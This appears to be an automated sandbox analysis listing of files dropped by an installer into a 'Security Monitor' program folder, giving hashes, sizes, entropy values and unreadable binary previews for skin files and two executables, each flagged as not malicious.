SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Ubuntu.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Win8.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\iOS4.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-1G823.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-78BUT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-AQ7SQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-IENIN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-K27AM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-MMUQD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-SLKI9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-TDORK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-U7M79.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
